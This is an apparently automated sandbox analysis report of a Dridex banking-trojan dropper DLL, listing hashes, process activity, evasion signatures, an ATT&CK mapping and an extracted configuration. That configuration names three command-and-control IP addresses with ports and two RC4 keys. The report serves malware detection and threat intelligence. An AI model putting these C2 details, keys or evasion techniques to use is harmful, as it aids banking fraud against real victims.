Play interactive tour

Edit tour

Analysis Report 3d006cd2_by_Libranalysis

Overview

General Information

Sample Name:	3d006cd2_by_Libranalysis (renamed file extension from none to dll)
Analysis ID:	413057
MD5:	3d006cd2d3fa8ddf34de8772787217b2
SHA1:	fd78dc8bd7b47508b512c015d40baf20d413a2e8
SHA256:	09cdffb63e4627df479dcba3afdf80e8a8016b059c1ae750763ed9d45da203ec
Infos:
Most interesting Screenshot:

Detection

Dridex Dropper

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Dridex dropper found

Found malware configuration

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Found potential dummy code loops (likely to delay analysis)

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 5916 cmdline: loaddll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 5540 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 1308 cmdline: rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 40111, "C2 list": ["107.172.227.10:443", "172.93.133.123:2303", "108.168.61.147:8172"], "RC4 keys": ["AhGDjKatq8OVBsCNBxsJHbQSf84QZXMd170Lw0kGCrK", "Q4an9elmpLlqS0nta18G08KnguSDYM2b9P5rLPY4BmuEGwKw2GPFYowlj454Yi3"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.rundll32.exe.705b0000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 2.2.rundll32.exe.705b0000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 40111, "C2 list": ["107.172.227.10:443", "172.93.133.123:2303", "108.168.61.147:8172"], "RC4 keys": ["AhGDjKatq8OVBsCNBxsJHbQSf84QZXMd170Lw0kGCrK", "Q4an9elmpLlqS0nta18G08KnguSDYM2b9P5rLPY4BmuEGwKw2GPFYowlj454Yi3"]}

Machine Learning detection for sample

Show sources

Source: 3d006cd2_by_Libranalysis.dll

Joe Sandbox ML: detected

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_705B984D CloseEncryptedFileRaw,

0_2_705B984D

Source: 3d006cd2_by_Libranalysis.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: 3d006cd2_by_Libranalysis.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000002.00000003.299759546.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000002.00000003.299759546.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000000.00000002.226280054.00000000705BA000.00000002.00020000.sdmp, 3d006cd2_by_Libranalysis.dll

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 107.172.227.10:443
Source: Malware configuration extractor	IPs: 172.93.133.123:2303
Source: Malware configuration extractor	IPs: 108.168.61.147:8172

Source: Joe Sandbox View	IP Address: 172.93.133.123 172.93.133.123
Source: Joe Sandbox View	IP Address: 107.172.227.10 107.172.227.10
Source: Joe Sandbox View	IP Address: 108.168.61.147 108.168.61.147

Source: Joe Sandbox View	ASN Name: NEXEONUS NEXEONUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: START-CA START-CA

E-Banking Fraud:

Dridex dropper found

Show sources

Source: Initial file

Signature Results: Dridex dropper behavior

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.rundll32.exe.705b0000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705C218C NtDelayExecution,	2_2_705C218C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705C2790 NtAllocateVirtualMemory,	2_2_705C2790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705BBC00 NtClose,	2_2_705BBC00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705C07CC	2_2_705C07CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705C14D8	2_2_705C14D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705B84E4	2_2_705B84E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705B1494	2_2_705B1494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705B9144	2_2_705B9144
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705BA5A4	2_2_705BA5A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705C92DC	2_2_705C92DC

Source: 3d006cd2_by_Libranalysis.dll

Binary or memory string: OriginalFilenameofl.dllN vs 3d006cd2_by_Libranalysis.dll

Source: 3d006cd2_by_Libranalysis.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal84.bank.troj.evad.winDLL@5/0@0/3

Source: 3d006cd2_by_Libranalysis.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1	Jump to behavior

Source: 3d006cd2_by_Libranalysis.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: 3d006cd2_by_Libranalysis.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000002.00000003.299759546.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000002.00000003.299759546.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: Gsp.pdb source: loaddll32.exe, 00000000.00000002.226280054.00000000705BA000.00000002.00020000.sdmp, 3d006cd2_by_Libranalysis.dll

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_705B285B push ecx; ret	0_2_705B285C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_705B353F push es; ret	0_2_705B3540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_705BF744 push esi; mov dword ptr [esp], 00000000h	2_2_705BF745

Source: C:\Windows\SysWOW64\rundll32.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: OutputDebugStringW count: 652

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\self.exE	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\self.exE	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 652

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_705C07CC GetTokenInformation,GetSystemInfo,GetTokenInformation,

2_2_705C07CC

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 90% for more than 60s

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_705B6DC8 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_705B6DC8

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_705C3060 RtlAddVectoredExceptionHandler,

2_2_705C3060

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1

Jump to behavior

Source: rundll32.exe, 00000002.00000002.498879895.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000002.00000002.498879895.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000002.00000002.498879895.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: SProgram Managerl
Source: rundll32.exe, 00000002.00000002.498879895.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd,
Source: rundll32.exe, 00000002.00000002.498879895.0000000002EE0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_705B6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

2_2_705B6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion311	OS Credential Dumping	Security Software Discovery22	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion311	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
3d006cd2_by_Libranalysis.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.rundll32.exe.2960000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.93.133.123	unknown	United States	20278	NEXEONUS	true
107.172.227.10	unknown	United States	36352	AS-COLOCROSSINGUS	true
108.168.61.147	unknown	Canada	40788	START-CA	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	413057
Start date:	13.05.2021
Start time:	07:12:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	3d006cd2_by_Libranalysis (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.bank.troj.evad.winDLL@5/0@0/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 98.7% (good quality ratio 90.3%) Quality average: 75.2% Quality standard deviation: 30.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 17 Number of non-executed functions: 10
Cookbook Comments:	Adjust boot time Enable AMSI

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
172.93.133.123	923fc959_by_Libranalysis.dll	Get hash	malicious	Browse
	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse
107.172.227.10	923fc959_by_Libranalysis.dll	Get hash	malicious	Browse
	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse
108.168.61.147	923fc959_by_Libranalysis.dll	Get hash	malicious	Browse
	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	923fc959_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse	107.172.227.10
NEXEONUS	923fc959_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse	172.93.133.123
START-CA	923fc959_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	4387387b_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	88ae0574_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	6c489f0f_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	11560b5f_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	d3caf501_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	0446dbd6_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	d604307c_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	801ae348_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	465a4420_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	e04d2479_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	07060522_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	651c2dd4_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	18e87211_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	c74a9dac_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	f3f12cfd_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	fcb70cbd_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	d67ecdc2_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	6f0c2867_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147
	6bf25c84_by_Libranalysis.dll	Get hash	malicious	Browse	108.168.61.147

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.5430896663641915
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3d006cd2_by_Libranalysis.dll
File size:	165376
MD5:	3d006cd2d3fa8ddf34de8772787217b2
SHA1:	fd78dc8bd7b47508b512c015d40baf20d413a2e8
SHA256:	09cdffb63e4627df479dcba3afdf80e8a8016b059c1ae750763ed9d45da203ec
SHA512:	c0cf89ef5ef8a3c8bd9b234614b4aac69d93e537cdd7d37fdaa0907b89cb6bde50a50b4411f3464037e10dd3e30c788976e03e80dadf1b3f1e126f2d3e5aceef
SSDEEP:	3072:Wlpmktgw9IAMlZxSGg7ypZIQ404g51acpg0xZtCVxwVeXm7YP1cOPpiihEY:Wlo0gw4ZMypZp45g51aXotOxwVeXm7Ym
File Content Preview:	MZ......................@.......................................b.?.&.Q.&.Q.&.Q.....v.Q.@k..0.Q.+.....Q.8...{.Q./...R.Q./...7.Q..C....Q./...k.Q.@k....Q.&.P...Q..C,.I.Q.H.U...Q.=.....Q..i....Q..n....Q...S.,.Q...U...Q.......Q.Rich&.Q........................

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x409735
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x609CB09E [Thu May 13 04:52:46 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d20e8b584b1e294911b88a699c987910

Entrypoint Preview

Instruction
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
sub eax, 00002233h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
mov edx, 00000000h
cmpss xmm1, xmm2, 03h
cmp edx, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
je 00007FDC8898C6FAh
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h
mov eax, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1001	0x1001	.text
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa71c	0x59	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2c000	0x390	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2d000	0x5f4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa04b	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x50	.rdata
